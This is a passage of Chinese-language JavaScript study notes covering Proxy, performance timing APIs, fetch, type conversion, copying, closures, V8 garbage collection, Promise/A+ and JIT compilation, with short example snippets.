programming），proxy可以拦截对象，外部进行调用该对象时，必须通过这个拦截，这个拦截器可以对外部的调用进行过滤和查找赋值等等，另外Vue3.0的数据双向绑定（响应式）实现原理就是proxy\nES6提供了Proxy构造函数，来new Proxy()实例，Proxy实例具备有2个参数，分别是target, handler\nlet proxy = new Proxy(target, handler)\ntarget参数是要拦截的对象，handler参数为拦截后的行为（也是对象）\nProxy支持13种拦截行为，分别是：\nget()：读取属性\nset()：修改属性\nhas()：in操作符，判断某个属性是否存在于这个对象之中\napply()：当Proxy拦截函数时\nconstruct()：当使用new关键字时\ndeleteProperty()：当使用delete删除对象的属性时\ndefineProperty()：当使用Object.defineProperty修改属性修饰符时\nownKeys()：当使用Object.getOwnPropertyNames()，Object.getOwnPropertySymbols()，Object.keys()，Reflect.ownKeys()获取对象的信息时\ngetPrototypeOf()：当使用Object.getPrototypeOf()读取对象的原型信息时\nsetPrototypeOf()：当使用Object.setPrototypeOf()设置对象的原型时\nisExtensible()：当使用Object.isExtensible()判断对象是否可以添加新的属性时（Reflect.isExtensible()操作也会触发）\npreventExtensions()：当使用Object.preventExtensions()设置对象不能添加新的属性时\ngetOwnPropertyDescriptor()：当使用Object.getOwnPropertyDescriptor()获取该对象的自有属性（自有属性指该对象所有，不需要通过原型链获取该属性）的属性描述时\n这里只写最常用的get()和set()\nconst abc = {\rname: \u0026quot;chenjunlin\u0026quot;,\rpass: \u0026quot;123456789\u0026quot;\r}\rconst proxy1 = new Proxy(abc, {\rget(target, property, receiver) {\rif (property in target){\rreturn target[property]\r}else{\rreturn '读取失败'\r}\r},\rset(target, property, value, receiver){\rtarget[property] = value\rconsole.log(`${property}属性被设置值`, value)\r}\r})\rconsole.log(proxy1.name)\rconsole.log(proxy1.pass)\rconsole.log(proxy1.hallo)\rproxy1.name = \u0026quot;root\u0026quot;\rconsole.log(proxy1.name)\rproxy1.pass = \u0026quot;123\u0026quot;\rconsole.log(proxy1.pass)\rtarget是拦截对象，property是被拦截获取到的属性，value是新的属性值，receiver是Proxy对象本身（指向this对象，如果是继承的，那么该值为继承的Proxy对象）\nReflect是提供拦截对象操作的方法，其不是构造函数，不可通过new创建和调用Reflect，其拦截的方法和Proxy相同\n例如：\nconst obj = {\rname: \u0026quot;root\u0026quot;,\rpass: \u0026quot;123\u0026quot;\r}\rReflect.get(obj, \u0026quot;name\u0026quot;)\rBabel编译工作\nBabel的核心功能就是编译ESNext，进行降级，保证兼容性，编译的核心就是通过AST（语法抽象树）对源码进行分析，并且转换为目标代码，解析成AST是方便计算机理解源码是干什么的，而Babel解析器是Babylon\n像解析let const时，直接转换为var，并且判断编译阶段的const是否存在二次赋值，如果存在就是报错，块级作用域通过立即调用函数实现（例如匿名函数），针对暂时性死区，使用JavaScript严格模式实现\n前端性能指标\n首次绘制时间（FP）：页面发生第一次绘制时间，首次不同于上次跳转之间的内容\n首次有内容绘制时间（FCP）：浏览器渲染完成DOM的部分内容（可以是文本，也是可以是其他带内容的（或者说有视觉效果的））的时间\n首次有意义绘制时间（FMP）：页面关键内容的绘制时间（根据不同需求而定）\n首屏时间：完成整个屏幕内容渲染的时间（不包括滚动）\n用户可交互时间：用户可与页面进行交互的时间，DOMReady（html元素转换为DOM树完成（DOMContentLoaded事件），不包括加载外部文件）\n视觉稳定性指标（CLS，Cumulative Layout Shift）：指页面从一帧到另一帧时，不稳定元素的偏移量（也叫布局偏移量）\nFID（First Input Delay，首次输入延迟）\nPSI（Perceptual Speed Index，视觉变化率）\nFPS（Frames Per Second，每秒显示帧数）\n白屏时间：从页面发送刷新或者跳转后到页面出现第一个字符的时间\n白屏时间FP = domLoading - navigationStart\n可能导致白屏时间过长的原因：dns查询，tcp请求连接，服务端响应速度，关键资源下载，解析，渲染，资源体积\n首屏时间（服务端渲染应用用DOMContentLoaded时间，客户端渲染应用MutationObserver）：白屏时间加渲染时间\nMutationObserver接口可以监视DOM元素，因为客户端渲染应用是在客户端通过ajax请求的方式进行显示内容的，DOMContentLoaded时间并不能实质表示客户端渲染应用的首屏时间，应该监听某个最后的DOM元素，当其加载完成了，这个时间才算首屏时间，当然MutationObserver并不能计算图片加载时间，因为图片加载是异步的\n首屏时间数据：平均值，分位值（例如P99，将全部首屏时间排序，第99位的首屏时间就是P99，除了P99，还有P50,P90）,秒开率（1秒内打开的用户的比率，还有1.5秒开率，2秒开率）\n首屏时间优化：懒加载（加载关键内容，延迟加载其他内容，按需加载），缓存（减少重复请求），离线化，请求并行化（域名散列或者HTTP2.0多路复用）\nDNS查询优化：浏览器提供预获取DNS接口，可在浏览器建立DNS缓存，减少DNS查询所耗费的时间\nDNS查询优先级：浏览器缓存\u0026gt;hosts\u0026gt;路由器缓存\u0026gt;DNS服务器缓存（ISP）\u0026gt;根服务器缓存\nChrome浏览器默认缓存60秒，如果之间访问过了该域名，那么在60秒内将不会重新获取DNS缓存，而是直接调用浏览器的DNS缓存，减少DNS查询耗费的时间\n开启DNS预解析\n尝试对a.xiaochenabc123.test.com域名做预解析（不能用来对当前域名做预解析，因为当得到这个资源时，早就得到当前域名的解析IP）\n预连接\n预加载（会提升该资源加载的优先级，加载和执行是不同的，加载完成并不会执行，需要手动执行）\n预判加载（会降低该资源加载的优先级，因此只有当空闲时才会加载这个）\nHTTP请求优化：解决请求阻塞（请求阻塞（Stalled）是浏览器为了确保访问速度，对同一域名下的资源限制在一定的请求数，超过该请求数就会阻塞）\n以目前版本的Chrome浏览器来说，其最大请求数是6个（http1.1），超过6个请求数时，只能等待前面的请求后再进行请求，请求阻塞只针对同一域下的，只需要将资源用不同的域名散列（实质请求数限制将表示为域名数 * 浏览器最大请求数）\n例如将某个静态资源服务器，分成多个域名，例如，a.xiaochenabc123.test.com，b.xiaochenabc123.test.com，那么请求数就是可以达到12个\n资源Gzip压缩，避免301和302重定向，骨架屏\n性能数据获取\nwindow.performance\nconst TimeData= window.performance\rTimeData.memory // 该字段表示JavaScript对内存的占用\rconsole.log(TimeData.memory)\rmemory字段有三个属性（这些属性都是只读的，而且只有Chrome内核的浏览器才有这些属性，是非标准），分别是jsHeapSizeLimit（内存大小的限制），totalJSHeapSize（可以使用的内存），usedJSHeapSize（JavaScript对象占用的内存（包括V8内部对象））\nconsole.log(TimeData.navigation)\rnavigation字段有两个属性，分别是redirectCount（获取某个资源需要重定向几次才能得到）和type（该属性有4个值，0表示是通过正常访问的（TYPE_NAVIGATENEXT），1表示通过刷新访问的（TYPE_RELOAD ），2表示通过前进后退按钮访问的（TYPE_BACK_FORWARD，历史记录），255表示不是这些方式之外访问的（TYPE_UNDEFINED））\ntimeOrigin字段\nconst datea = new Date(TimeData.timeOrigin)\rconsole.log(datea)\rconsole.log(TimeData.timeOrigin)\r返回性能测量开始时的高精度时间戳\ntiming字段虽然已被w3c标准抛弃，但是这玩意的接口很强大\nconsole.log(TimeData.timing)\r可以看到输出了21个属性，这些属性分别是\nconnectEnd: http连接成功的时间（建立连接） connectStart: http开始建立连接的时间（开始连接） domComplete: dom解析完毕的时间，资源也准备就绪（Document.readyState值为complete） domContentLoadedEventEnd: DOMContentLoad事件结束时间，dom解析完毕，并且资源加载完毕 domContentLoadedEventStart: DOMContentLoad事件开始时间，dom解析完毕，开始加载资源 domInteractive: 解析html文档，dom树创建完毕的时间，资源还没加载（Document.readyState值为interactive） domLoading: 开始解析渲染dom树的时间（Document.readyState值为loading） domainLookupEnd: DNS查询域名结束时间（当使用了本地缓存时或者持久连接，不需要dns查询，该值等于fetchStart的值） domainLookupStart: DNS查询域名开始时间（当使用了本地缓存时或者持久连接，不需要dns查询，该值等于fetchStart的值） fetchStart: 浏览器准备发起第一个资源请求的时间（检查缓存之前） loadEventEnd: load事件结束的时间 loadEventStart: load事件开始时间 navigationStart: 前一个页面的unload时间（当前窗口的前一个页面的关闭并且发生unload事件时），如果没有前一个页面，则表示fetchStart时间 redirectEnd: 最后一个http重定向发生时的时间 redirectStart: 第一个http重定向发生时的时间 requestStart: http连接完成并且请求真实文档的时间 responseEnd: http返回响应并且全部接收完成的时间（接收最后一个字节） responseStart: http开始接收响应的时间（接收第一个字节） secureConnectionStart: http连接开始的时间（和connectEnd类似），如果不是安全连接返回0 unloadEventEnd: 前一个页面中的unload事件所绑定的回调函数执行完毕的时间 unloadEventStart: 前一个页面中的unload事件触发的时间，如果没有前一个页面或者前一个页面和当前页面不在一个域中时，返回0\n单位： Unix毫秒时间戳（基于UTC1970.01.01 00:00:00到现在的总毫秒数）\n重定向时间：redirectEnd - redirectStart\ndns查询时间：domainLookupEnd - domainLookupStart\ntcp建立连接并且完成握手时间：connectEnd - connectStart\n内容加载完成时间：responseEnd - requestStart\nDNS缓存时间：domainLookupStart - fetchStart\n卸载页面的时间: unloadEventEnd - unloadEventStart\nrequest请求耗费时间（重定向）：redirectEnd - redirectStart\n解析DOM树耗费的时间：domComplete - responseEnd\n白屏时间：domLoading - fetchStart\n用户可交互时间：domContentLoadedEventEnd - fetchStart\n前一个页面卸载耗费的时间：unloadEventEnd - unloadEventStart\nonload回调函数的执行时间：loadEventEnd - loadEventStart\n用户等待页面完全可用时间（页面加载完成）：oadEventEnd - navigationStart\ncookie\ncookie默认是临时的，浏览器关闭进程就会自动销毁，并且cookie是纯文本\n通过document.cookie = \u0026ldquo;xxx\u0026quot;来修改cookie\ncookie存储大小限制在4kb\nFetch api允许在JavaScript发起http请求和响应，使用Promise\nfetch('https://api.github.com/')\r.then(response =\u0026gt; response.json())\r.then(data =\u0026gt; console.log(data))\r.catch(err =\u0026gt; console.log('Request Failed', err))\r可以看到fetch接收一个url参数，并且具备then和catch方法，并且response接收到数据是stream对象，并且将这个stream对象转换为json对象\nfetch只有当网络故障或者请求被阻止时才报错，因此不管是否请求成功（例如404或者502）\nresponse对象还有一些属性，例如response.ok（表示是否请求成功，http状态码在200-299的范围时），response.status（http状态码），response.url（请求的url，如果有跳转，那么该属性值为最终的请求地址），response.redirected（请求是否发送跳转），response.headers（请求头）等等\n例如： async function getData(url = \u0026ldquo;\u0026quot;,data={}){ const response = await fetch(url, { method: \u0026lsquo;GET\u0026rsquo;, headers: { \u0026ldquo;Content-type\u0026rdquo;: \u0026ldquo;application/x-www-form-urlencoded\u0026rdquo;, }, }) return response.json() } getData(\u0026lsquo;https://api.github.com/') .then(data =\u0026gt; { console.log(data) })\n基础类型存储在栈内存中，在引用或者拷贝时，创建一个完全相等的变量\n引用类型存储在堆内存中，存储的是内存地址，多个引用可以指向同一个地址（内存共享）（return会改变引用的地址）\n类型检测\ntypeof（不能用来检测null类型，null不是object类型，另外object类型除了function可以检测出来外，其他都是objet，因此typeof可以检测基础类型以及function，其他类型就不适合了））\ninstanceof（不能正确判断基础数据类型，但是可以判断引用类型）\n在不知道数据类型的情况下做数据类型判断，可以先用typeof abc !==\u0026lsquo;object\u0026rsquo; || abc !==null筛选出基础类型（null除外，如果是null直接返回null），如果是基础类型直接用typeof获取数据类型，如果不是再用instanceof判断引用类型\nObject.prototype.toString（该方法可以返回某值的数据类型，返回值类型是字符串，格式统一为[object 数据类型]），如果不想要object，只要后面的数据类型，只需要将返回值进行正则一下就是可以了（replace(/^[object(\\S+)]$/, \u0026lsquo;$1\u0026rsquo;)）\nfunction a(){\rconsole.log(\u0026quot;hallo\u0026quot;)\r}\rlet b = {\rname: \u0026quot;abc\u0026quot;,\rpass: \u0026quot;123\u0026quot;\r}\rlet c = [1,3,5,7,9]\rlet d = new a\rlet e = 'hallo word'\rconsole.log(typeof a) // function\rconsole.log(typeof b) // object\rconsole.log(typeof c) // object\rconsole.log(a instanceof Function) // true\rconsole.log(b instanceof Object) // true\rconsole.log(c instanceof Array) // true\rconsole.log(d instanceof a) // true\rconsole.log(e instanceof String) // false\rconsole.log(Object.prototype.toString.call(null)) // [object Null]\rconsole.log(Object.prototype.toString.call(e)) // [object String]\r数据类型转换（显式类型转换（强制类型转换）和隐式类型转换（自动类型转换））\n强制类型转换方法：Number()，Boolean()，String()，parselnt()，toString()，parseFloat()\nNumber()规则：如果值是布尔值，true转1，false转0。如果是整数，返回自身。如果是null，返回0。如果是undefined，返回NaN。如果是字符串，包含整数，转换为十进制，包含浮点格式，转换浮点数，空字符串为0，其他情况均为NaN。如果是Symbol，抛出错误，如果是对象，调用该方法，如果返回值为NaN，调用其对象的valueOf()方法\nBoolean()规则：undefined，null，0，+0，-0，\u0026rsquo;\u0026rsquo;，false，NaN均为false，其他情况都为true\n隐式类型转换\n==：如果类型相同，不转换类型，如果有个值为null或者undefined，只有当另一个是null或者undefined，才返回true，否则都为false，如果有个值为Symbol类型，返回false。如果俩个值为Sting和Number类型，Sting类型的那个将转换为number类型，如果有值的类型为boolean，则转换为number，如果有值类型为object，另一个值为number，string或者symbol时，先将object转换为原始类型再判断\n传说中的console.log(abc==1 \u0026amp;\u0026amp; abc==2 \u0026amp;\u0026amp; abc==3)，就是利用了==的隐式类型转换规则，这个abc实质上是个对象，==隐式类型转换如果是对象，会先尝试将其转换为基础类型，如果不行会调用其valueOf()方法，而且这个valueOf()方法就是定义其返回值的，并且通过this获取当前被调用的返回值\nlet abc = {\rvalue: 0,\rvalueOf: function(){\rthis.value++\rreturn this.value\r}\r}\rconsole.log(abc==1 \u0026amp;\u0026amp; abc==2 \u0026amp;\u0026amp; abc==3)\r+：加号被用于数值相加和字符串拼接，如果两边值都是字符串，则直接拼接字符串。如果有个是字符串，另一个是unll，Boolean类型或者undefined时，调用toString()方法（该方法的返回值为字符串类型的），然后再进行字符串拼接。如果有个是数值，另一个是number类型，则进行加法处理，如果另一个是null，undefined，boolean则转换为number类型再加法处理。如果一个是number类型，另一个是string类型，则将number类型那个转换为string类型，然后再字符串拼接\nobject隐式转换规则：如果有Symbol.toPrimitive()方法，则优先调用该返回再返回，如果没有该方法，并且object不能转为基础类型，则自动调用valueOf()方法，如果该方法返回了基础类型，则返回，如果还是不行则调有toString()方法（实质上就是返回其字符串），如果能转换为基础类型，则返回，如果还是没有返回基础类型，则抛出错误\n浅拷贝：如果是基础类型，拷贝的是基础类型的值，如果是引用类型，拷贝的是内存中的地址，如果改变该引用类型的值，会影响使用了该内存地址的全部引用类型的值\nObject.assign()方法可以实现浅拷贝（不拷贝继承属性，不拷贝不可枚举属性，但是可以拷贝Symbol类型的对象）\n对象的不可枚举属性通过enumerable: false设置\nlet hallo = {}\rlet hi = {\rname: 'admin',\rpass: 'abc123'\r}\rObject.assign(hallo,hi)\rconsole.log(hallo)\rhi.name = 'xiaochen'\rconsole.log(hallo)\rconsole.log(hi)\r扩展运算符(\u0026hellip;abc)\nlet hi = {\rname: 'admin',\rpass: 'abc123',\rdata: {\rid: 1,\rtext: \u0026quot;hallo word\u0026quot;\r}\r}\rlet hallo = { ...hi }\rconsole.log(hallo)\rconsole.log(hi)\rhi.name = 'user'\rconsole.log(hallo)\rconsole.log(hi)\rhi.data.id = 10\rconsole.log(hallo)\r扩展运算符，只有单层对象属性或者数组时，是深拷贝，修改其属性，不会影响到其他使用该对象的属性，如果是一层以上的数据时，会变成浅拷贝，只能影响一层以上的数据，在一层的数据不受影响\nconcat()方法（可用于浅拷贝数组）\nlet hallo = [2,4,5,6,7,8,9,12]\rlet hi = hallo.concat()\rconsole.log(hallo)\rconsole.log(hi)\rhi[0] = 66\rconsole.log(hallo)\rconsole.log(hi)\rslice()方法（可用于浅拷贝数组）\nlet hallo = [{data: 66},2,4,5,6,7,8,9]\rlet hi = hallo.slice()\rconsole.log(hallo)\rconsole.log(hi)\rhi[0].data = 123\rconsole.log(hallo)\rconsole.log(hi)\rObject.assign()（将所有可枚举属性的值从原有对象拷贝到目标对象中）\nlet obj = {\rname: 'xiaochen',\rpass: 'abc123',\rdata: {\rid: 1,\rtext: \u0026quot;hallo word\u0026quot;\r}\r}\rlet obja = Object.assign({},obj)\rconsole.log(obja)\r该方法缺陷就是只能拷贝可枚举的属性， 好处就是Symbol类型的属性可以被拷贝\n手写浅拷贝（通过传入目标对象参数，得到一个经过浅拷贝的对象）\nlet obj = {\rname: 'xiaochen',\rpass: 'abc123',\rdata: {\rid: 1,\rtext: \u0026quot;hallo word\u0026quot;\r}\r}\rlet objfu = (obj) =\u0026gt;{\rif(typeof obj ==='object' \u0026amp;\u0026amp; obj !== null){\r// 使用typeof判断obj参数是否是对象，并且还不是null\rlet obja = Array.isArray(obj)?[]:{} // 使用Array.isArray()判断obj是否是数组（是数组返回true，否则返回false），这里是一个三元表达式（为true时返回[]，为false时返回{}）\rfor(let i in obj){ // in关键字遍历obj的属性（或者数组）\rif(obj.hasOwnProperty(i)){ // hasOwnProperty方法可以判断该对象是否存在某个属性，存在则返回true，否则返回false\robja[i] = obj[i] // 判断存在后，将obj的属性拷贝到obja的属性中（浅拷贝），属性值和属性一一对应\r}\r}\rreturn obja\r}else{\rreturn obj\r}\r}\rconsole.log(objfu(obj))\rlet hhh = objfu(obj)\rhhh.data.id =66\rconsole.log(objfu(obj))\rconsole.log(hhh)\r深拷贝：创建一个新对象，然后复制原有的对象的基本类型值，其完全是在堆内存中创建新的内存地址，不受原有的对象的改动影响\nJSON.stringify()，通过生成一个json字符串，json字符串再转为新的对象\nlet obj = {\rname: 'xiaochen',\rpass: 'abc123',\rdata: {\rid: 1,\rtext: \u0026quot;hallo word\u0026quot;\r}\r}\rlet str = JSON.stringify(obj)\rlet obja = JSON.parse(str)\rconsole.log(obja)\robj.data.id = 66\rconsole.log(obja)\rconsole.log(obj)\r注意：如果对象中的值有函数，undefined，symbol类型，使用JSON.stringify()会导致json字符串中的这个键值对会消失，不能拷贝不可枚举属性，Data类型变成字符串，不能拷贝对象原型链，拷贝RegExp类型时会变成空对象，不能拷贝正则表达式，另外对象的属性值含有NaN，Infinity（Infinity表示无穷大），-Infinity（-Infinity表示负无穷大）时，JSON序列化后变成null，不能拷贝对象的循环应用（对象成环 ，obj[key] = obj）\n手写递归深拷贝\nlet obj = {\rname: 'xiaochen',\rpass: 'abc123',\rdata: {\rid: 1,\rtext: \u0026quot;hallo word\u0026quot;\r}\r}\rfunction objfu(obj) {\rlet obja = {}\rfor(let i in obj){\rif(typeof obj[i] ==='object'){\robja[i] = objfu(obj[i])\r}else{\robja[i] = obj[i]\r}\r}\rreturn obja\r}\rlet hhh = objfu(obj)\robj.data.id = 123\rconsole.log(hhh)\rconsole.log(obj)\r这个手写递归，依然不能复制不可枚举属性和symbol类型，而且只能对一些普通对象有效，像函数之类就没有效果了\n原型链继承的缺点是原型链是内存共享的，一个发生改变，其他继承同一个的，都会发生改变\n构造函数继承的缺点是只能继承父类的方法，属性，实例，不能继承原型的实例和方法\nnew关键词的作用：执行一个构造函数，并且返回一个实例对象，根据构造函数来确定是否可以接受参数的传递\nnew执行后必然返回一个对象，这个对象可以是实例对象，也可以是构造函数return返回的指定对象\n手写new\nfunction _new(funs,...args){\rif(typeof funs !=='function'){\rthrow \u0026quot;no function\u0026quot;\r}\rlet obj = new Object()\robj.__proto__ = Object.create(funs.prototype)\rlet res = funs.apply(obj,...args)\rlet isObj = typeof res === 'object' \u0026amp;\u0026amp; typeof res !== null\rlet isFuns = typeof res === 'function'\rreturn isObj || isFuns ? res:obj\r} 闭包：利用作用域链特性，访问局部变量\nIIFE（立即执行函数）本身创建了闭包，保留了全局作用域和当前作用域\n什么是闭包？例如：\nfunction abc(){\rlet a = 666\rfunction xyz(){\rconsole.log(a)\r}\rreturn xyz\r}\rlet haha = abc()\rhaha()\r可以看到函数abc的返回值是xyz函数，变量haha被赋值abc函数，并且调用了xyz函数，神奇的获取到变量a的值\n关键点：xyz可以访问abc的作用域。在执行完毕abc函数，作用域并没有被销毁，而在垃圾回收中，只有被使用才不会被回收，在这里abc函数的作用域被xyz函数所使用，而且haha被调用时，执行的就是xyz函数，得到abc函数的整个定义时的词法作用域\n简单的说就是，利用作用域链（这个特指函数作用域，函数作用域具备遮蔽性），内部作用域可以获取外部作用域的变量，只有当内部作用域拥有访问整个外部作用域时，内部作用域在某个时刻被调用了，自然可以访问到外部的定义时的词法作用域，利用这个特性，内部作用域只要能在定义时词法作用域之外的地方调用，就可以实现闭包，从而访问外部定义时的词法作用域\n除了通过返回值外，还可以在定义时调用外部函数，外部函数再调用具备外部词法作用域访问能力的内部函数，也可以访问到这个定义时词法作用域，例如：\nfunction abc(){\rlet a = 666\rfunction xyz(){\rconsole.log(a)\r}\rhaha(xyz)\r}\rfunction haha(funs){\rfuns()\r}\rabc()\r闭包会导致内存溢出\n数组\nArray数组构造器\nlet arr = Array(3)\n当Array构造器的参数长度为0或者大于等于2时，传入的参数按顺序变成新数组的元素（参数长度为0，返回空数组）\n当Array构造器存在1个数值参数时，这个参数最大不能超过2的32次方\nArray.of()方法可以将参数按照顺序变成数组的元素，然后返回这个新数组，这个参数可以是数值（而且不会被用来创建指定长度的数组）\nArray.from()方法有3个参数，类似于数组的对象，加工函数，this作用域（加工函数中this的指向）\nlet arr = {\r0:'abc',\r1: 'xyz',\r2: 'hallo word',\rlength: 3\r}\rlet abc = Array.from(arr,function(value,index){\rconsole.log(value,index,this)\rreturn value.repeat(3)\r},arr)\rconsole.log(abc)\rArray.isArray方法可以判断是否是数组\n类数组的对象（和数组类似，但是没有数组的方法）：函数的arguments，HTMLCollection，NodeList\n类数组转真数组：\nlet abc = {\r0: 'hhh',\r1: 'bbb',\r2: 'abc',\rlength: 3\r}\rconsole.log(abc)\rlet a = Array.from(abc)\rconsole.log(a)\rlet b = Array.prototype.concat.apply([], abc)\rconsole.log(b)\rlet c = Array.prototype.slice.call(abc)\rconsole.log(c)\r数组扁平化（将一个多维数组转换为只有一层的数组）\n通过递归实现，只要元素还是个数组，就进行递归操作\n通过reduce函数迭代\n通过扩展运算符实现\n通过toString().split(\u0026rsquo;,\u0026rsquo;)实现\n通过flat()方法实现\n例如：\nlet arr = [2,[3,5,6,10,[1,2,3],56,88],44,66]\rfunction arrData(arr){\rreturn arr.flat(Infinity)\r}\rconsole.log(arrData(arr)) // [2, 3, 5, 6, 10, 1, 2, 3, 56, 88, 44, 66]\r通过JSON.stringify()和正则实现（先将数组转换为json字符串，然后通过正则(/([|])/g）过滤掉[]，得到的字符串再通过JSON.parst()转换回\nv8引擎垃圾回收\n基础类型使用栈内存（按值访问），可以使用操作系统进行处理，而引用类型的堆内存需要经常变化（使用引用内存地址访问），大小不固定，需要使用垃圾回收机制来处理\nSting和Number和Boolean和null和undefined和Symbol类型的变量将存储于栈内存，其他类型都存储于堆内存中\nv8引擎的堆内存分为2类，新生代内存和老生代内存\n在64位操作系统中，新生代内存空间为32MB\n新生代中的变量经过一次Scavenge算法回收后，就可以被放入老生代内存中\nScavenge算法将新生代内存分为from-space和to-space两个区域\n新生代内存中变量先存储在from-space区，存活的变量将转移到to-space区域，然后将那些在from-space区中不活跃的变量清除释放，执行完毕，再to-space和from-space互换\n老生代内存垃圾回收机制，Mark-Sweep（标记清除）和Mark-Compact（标记整理）\nMark-Sweep（标记清除）：先遍历堆上所有对象，并且打上标记，在代码执行完成后，对使用过的变量进行标记取消，而且存在标记的变量就是没有使用过的变量，将这些变量进行垃圾回收\nMark-Compact（标记整理）：（解决标记清除机制的内存碎片化的影响）将内存空间往一端靠拢，直接清除边界外的内存\n内存泄露：已经分配堆内存地址的对象长时间没有释放或者无法释放，造成内存长期占用，导致应用响应变慢或者崩溃的情况\n内存泄露优化：减少全局变量，使用完定时器后及时清除定时器，避免死循环\n将一个强引用类型赋值为null，并不会直接导致其被GC，而是解除其引用，方便下次GC能回收它\n解决因闭包导致的内存泄露，在不使用一个闭包函数时，应该手动将其引用变量设置为null，解除引用\nV8引擎执行JavaScript程序的阶段（因为v8使用了java虚拟机，c++编译器的技术，使JavaScript执行存在编译器）\nParse阶段：将JavaScript代码转换为AST（抽象语法树）\nIgnition阶段：解释器将AST转换为字节码，然后解析执行字节码，并且提供编译所需要的信息\nTurboFan阶段：编译器使用Ignition阶段的编译信息，将字节码转换为可执行的机器码\nOrinoco阶段：垃圾回收阶段，将不使用的内存空间进行垃圾回收\n生成AST有两个阶段，词法分析和语法分析\n词法分析阶段会将JavaScript代码解析拆成不能再分的词法单元（token），直接忽略空格\n语法分析阶段将词法单元转换为由元素逐级嵌套而成的语法结构树，这个树叫抽象语法树\nJavaScript借用方法（重用其他对象的方法和函数，无需从该对象继承）\n例如一个类数组（类数组并没有数组的方法），借用数组的方法，通过call()，apply()和bind()方法实现\nlet arrObj = {\r0:'abc',\r1: 'xyz',\r2: 'hallo word',\rlength: 3\r}\rlet arr1 = Array.prototype.join.bind(arrObj,',')\rlet arr2 = Array.prototype.pop.call(arrObj)\rlet arr3 = Array.prototype.push.apply(arrObj,['hhh'])\rconsole.log(arr1())\rconsole.log(arr2)\rconsole.log(arr3)\rconsole.log(arrObj)\r从Array.prototype可以看到这些方法是在类型的原型上定义的，当然其他自定义方法也是可以通过对象.方法的方式借用\n通过字面量（Literals）实现\n在JavaScript中，使用字面量可以代表值。它们是固定值，不是变量，就是在脚本中按字面给出的。\nlet arrObj = {\r0:'abc',\r1: 'xyz',\r2: 'hallo word',\rlength: 3\r}\rlet arr1 = [].join.bind(arrObj,',')\rconsole.log(arr1())\r[]表示Array.prototype，还有\u0026rsquo;\u0026lsquo;表示stringObject\ncreateDocumentFragment \u0026amp;\u0026amp; requestAnimationFrame渲染大量\ndocument.createDocumentFragment()会返回一个DocumentFragment对象，这个对象是DOM节点，但又不是主DOM树的一部分，其是用于创建文档片段，文档片段在内存中，将元素插入文档片段不会导致回流，而且文档片段是直接附加在主DOM树上\nwindow.requestAnimationFrame()，该方法会在浏览器的重绘之前执行一个回调函数\nDocumentFragment对象是一个没有父对象的文档对象，DocumentFragment和document区别就是DocumentFragment不是真实DOM树的一部分，但是它可以挂载在真实DOM树上\n实现渲染10000条div数据\nlet count = 0\rfunction callback(){\rconst nums = 10000 // 一共插入10000条\rconst num = 100 // 一次插入100条\rlet loop = Math.ceil(nums / num) // 计算需要执行多少次\rconst app = document.querySelector(\u0026quot;#app\u0026quot;)\rconst data = 'hallo word'\rconst vmDOM = document.createDocumentFragment()\rfor (let i = 0; i \u0026lt; num; i++) {\rconst div = document.createElement(\u0026quot;div\u0026quot;)\rdiv.innerHTML = data\rvmDOM.appendChild(div)\r}\rapp.appendChild(vmDOM)\rcount++\rif (count \u0026lt; loop) {\rwindow.requestAnimationFrame(callback)\r}\r}\rcallback()\rdocument.createDocumentFragment()和直接操作DOM，测试结果说明并不是每操作一次dom都会导致渲染，而且是将短时间的dom操作合并在一起，然后统一渲染，操作10000次DOM，并不会触发10000次渲染，而是在一定的时间内的多次操作合并成一次操作，并且在一定的时间内执行该操作，最后渲染，这得益于现代浏览器的优化\nPromise/A+规范\nPromise有很多规范，ES6使用的就是Promise A+规范\nPromise A+规范：\nPromise是具备then方法的对象或者函数\nPromise需要存在3个状态：等待态（pending），成功态（fulfilled），失败态（rejected）\n并且Promise初始状态为等待（pending），在等待态（pending）状态时可以转为成功态（fulfilled）或者失败态（rejected）其中之一\n当处于成功态（fulfilled）时，不能改变其状态，还需具备一个不可改变的返回值（value）\n当处于失败态（rejected）时，也不能改变其状态，还需具备一个不可改变的返回原因（reason）\n需要提供then()方法来返回成功的结果或者失败的原因（传入2个可选参数，onFulfilled和onRejected，如果是函数的话，会在Promise执行完毕后调用，如果不是函数的话会忽略，onFulfilled和onRejected都只能被调用一次）\n当处于成功态（fulfilled）之后，执行onFulfilled，返回value，当处于失败态（rejected）之后，执行onRejected，返回reason\nthen()可在同一个Promise被多次调用，then()必须返回一个promise对象\n手写Promise\nJavaScript引擎（例如v8）可以让JavaScript符合了一些编译语言的特点（词法分析/分词，语法分析/解析，编译转换）（虽然不是提前编译执行）\n词法分析/分词(Tokenizing/Lexing)：将程序源代码分成一个个的词法单元（token），而词法分析就是将源代码转换为词法单元，具体通过符号表来确定是变量还是函数什么的\n语法分析/解析：将词法单元流转换为抽象语法树（AST, Abstract Syntax Tree）,这个抽象树表示了整个程序的语法结构\n注意：并不是词法分析器获取完全部的词法单元后在再进行语法分析的，而是先获取一个词法单元后直接进行语法分析\n编译转换：将AST语法树转换为可执行的机器码（引擎可根据语法树一边编译一边执行）\n一边编译一边执行有个缺点，当某段代码频繁执行时（例如函数）就会导致重复编译（提前编译的可以在执行前就是处理好），因此添加了一种叫JIT（Just-in-time，即时编译）\nJIT在JavaScript引擎中添加了一个监视器，可观察运行的代码，并且记录每段代码的运行次数和变量的类型\n当某段代码执行了多次，监视器就会给这段代码标识为Warm，如果是执行很多次的话，会标识为Hot\n当某段代码被标识为Warm后，JIT将其发送给基线编译器（Baseline compiler）编译，并且将编译结果存储起来，并且以行号，变量类型作为索引，当执行了符合索引的代码时，直接执行之前编译的代码，不需要重复编译\n当某段代码被标识为Hot后，JIT将其发送给优化编译器（Optimizing compiler）编译优化，是通过假设（根据概率模型）变量类型（当存在多个假设时（如果只有一个假设时，直接执行对应的编译结果），会在执行前进行类型检查，来证明假设，如果假设不成立，会导致反优化（将使用编译器或者基数编译器处理（假设多次失败实质比直接编译还慢，因此浏览器做出了限制，当出现多次优化失败时，会放弃处理这个）））\n作用域\n作用域是一套可以根据名称来查找变量的规则（每个作用域负责管理自己地方的变量），当多重嵌套作用域时，会形成作用域链，在当前作用域中查找不到，会向上一级查找，一直查找到全局作用域，如果还是没有找到就是报错\nLHS查询和RHS查询\nLHS查询是获取变量的实质内存（赋值操作，例如let a = 